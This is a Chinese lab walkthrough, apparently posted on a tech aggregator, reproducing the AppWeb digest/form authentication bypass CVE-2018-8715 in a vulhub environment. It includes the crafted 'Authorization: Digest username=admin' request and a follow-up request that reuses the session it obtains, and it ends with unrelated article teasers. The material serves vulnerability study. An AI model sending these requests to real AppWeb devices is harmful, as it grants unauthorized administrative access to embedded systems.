vulhub中AppWeb认证绕过漏洞(CVE-2018-8715)

AppWeb是Embedthis Software LLC公司负责开发维护的一个基于GPL开源协议的嵌入式Web Server。他使用C/C++来编写,能够运行在几乎先进所有流行的操作系统上。当然他最主要的应用场景还是为嵌入式设备提供Web Application容器。

AppWeb可以进行认证配置,其认证方式包括以下三种:

- basic 传统HTTP基础认证
- digest 改进版HTTP基础认证,认证成功后将使用Cookie来保存状态,而不用再传递Authorization头
- form 表单认证

其7.0.3之前的版本中,对于digest和form两种认证方式,如果用户传入的密码为`null`(也就是没有传递密码参数),appweb将因为一个逻辑错误导致直接认证成功,并返回session。

1.利用该漏洞需要知道一个已存在的用户名,当前环境下用户名为`admin`。

构造头`Authorization: Digest username=admin`,并发送如下数据包

GET / HTTP/1.1
Host: 192.168.188.128:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Authorization: Digest username=admin
Content-Length: 6

2.因为我们没有传入密码字段,所以服务端出现错误,直接返回了200,且包含一个session

3.设置这个session到浏览器,即可正常访问需要认证的页面

POST  / HTTP/1.1
Host: 192.168.188.128:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
-http-session-=1::http.session::a91d69f5b7556850a6ad80ce73ee1529;
Authorization: Digest username=admin
Content-Length: 26username=admin

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/453349.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

RK3399平台开发系列讲解(内存篇)进程内存详解

🚀返回专栏总目录 文章目录 一、虚拟地址映射的物理内存1.1、物理内存1.2、虚拟内存1.2.1、用户态:低特权运行程序1.2.2、内核态:运行的程序需要访问操作系统内核数据二、PageCache三、指标查询命令沉淀、分享、成长,让自己和他人都能有所收获!😄 📢进程消耗的内存包…

详解洛谷P2912 [USACO08OCT] Pasture Walking G(牧场行走)(lca模板题)

题目 思路 一道模板题&#xff0c;没啥好说的&#xff0c;直接见代码 代码 #include <bits/stdc.h> using namespace std; int n,q,a,to[100001][22],b,deep[100001],c,t[1000001]; struct ff {int id,len; }; vector<ff> vec[100001]; void dfs(int x,int fa,i…

LeetCode:292.Nim 游戏

大一开学到现在&#xff0c;我不禁思考一个问题&#xff1a;代码重要吗&#xff1f; 我的答案是&#xff0c;根本不重要&#xff0c;或者说&#xff0c;是次要的。我认为分析问题&#xff0c;和画图是写题的开始&#xff0c;方法的学习&#xff0c;和灵活运用是目的。代码从来…

华为数通方向HCIP-DataCom H12-821题库(单选题:421-440)

第421题 以下关于IS-IS中路由器分类的描述,错误的是哪一项? A、Level-1路由器无法与Level-2路由器建立邻接关系 B、华为路由器上配置IS-IS时,缺省时,路由器全局Level为Level-1-2 C、Level-2的LSDB只包含Level-2路由器所在区域的路由信息 D、Level-1路由器可以和Level-1-2路…

如何在 iconfont 中使用彩色图标

新建彩色图标项目&#xff0c;在设置字体格式时选择【彩色】 如果需要项目支持彩色图标&#xff0c;则图标数不得超过40个&#xff0c;所以不修改原项目的项目配置&#xff0c;而是新建 引用方式按照普通图标形式引用即可&#xff0c;即使给图标设置了color也不会修改原图标…

STM32WLE5JC

多协议LPWAN 32位 ARM Cortex-M4 MCUs&#xff0c;LoRa&#xff0c;FSK&#xff0c;MSK&#xff0c;BPSK&#xff0c;最大256KB FLASH&#xff0c;64KB SRAM。 LPWAN代表低功耗广域网&#xff08;Low-Power Wide-Area Network&#xff09;&#xff0c;是一种无线网络技术&…

NoSQL(非关系型数据库)

目录 前言&#xff1a; 一、NoSQL的类别 1.1 键值&#xff08;key-value&#xff09;存储数据库 1.2 列存储数据库 1.3 文档型数据库 1.4 图形数据库 二、NoSQL适应场景 三、在分布式数据库中的CAP原理 3.1 传统的ACID 3.2 CAP 四、什么是BASE 前言&#xff1a; NoS…

深入理解Istio服务网格(一)数据平面Envoy

一、服务网格概述(service mesh) 在传统的微服务架构中&#xff0c;服务间的调用&#xff0c;业务代码需要考虑认证、熔断、服务发现等非业务能力&#xff0c;在某种程度上&#xff0c;表现出了一定的耦合性 服务网格追求高级别的服务流量治理能力&#xff0c;认证、熔断、服…

基于NSGA-II的深度迁移学习

深度迁移学习 迁移学习是一种机器学习技术&#xff0c;它允许一个预训练的模型被用作起点&#xff0c;在此基础上进行微调以适应新的任务或数据。其核心思想是利用从一个任务中学到的知识来帮助解决另一个相关的任务&#xff0c;即使这两个任务的数据分布不完全相同。这种方法…

idea修改项目git地址

大家好&#xff0c;今天给大家分享的知识是如何在idea中修改项目的git地址。 一、修改地址 首先我们先找到菜单栏中Git选项&#xff0c;然后点击管理远程&#xff08;Manage Remote&#xff09; 之后双击origin之后就可以定义名称或者URL了。

边缘计算网关在智能制造中有哪些应用?-天拓四方

在智能制造和工业生产环境中&#xff0c;数据已经成为新的生产要素&#xff0c;工业生产对实时性、灵活性和智能化也提出了更高的要求。而在这个过程中&#xff0c;边缘计算网关发挥着不可或缺的作用。它作为设备层与网络层之间的关键桥梁&#xff0c;确保了数据的实时、高效处…

SpringCloud-生产者和消费者

一、生产者和消费者的定义 在 Spring Cloud 中&#xff0c;术语 "生产者" 和 "消费者" 用于描述微服务架构中的两种基本角色。 角色定义生产者 Provider生产者是提供具体服务或功能的模块。它将业务逻辑封装成服务&#xff0c;供其他模块调用。生产者向服…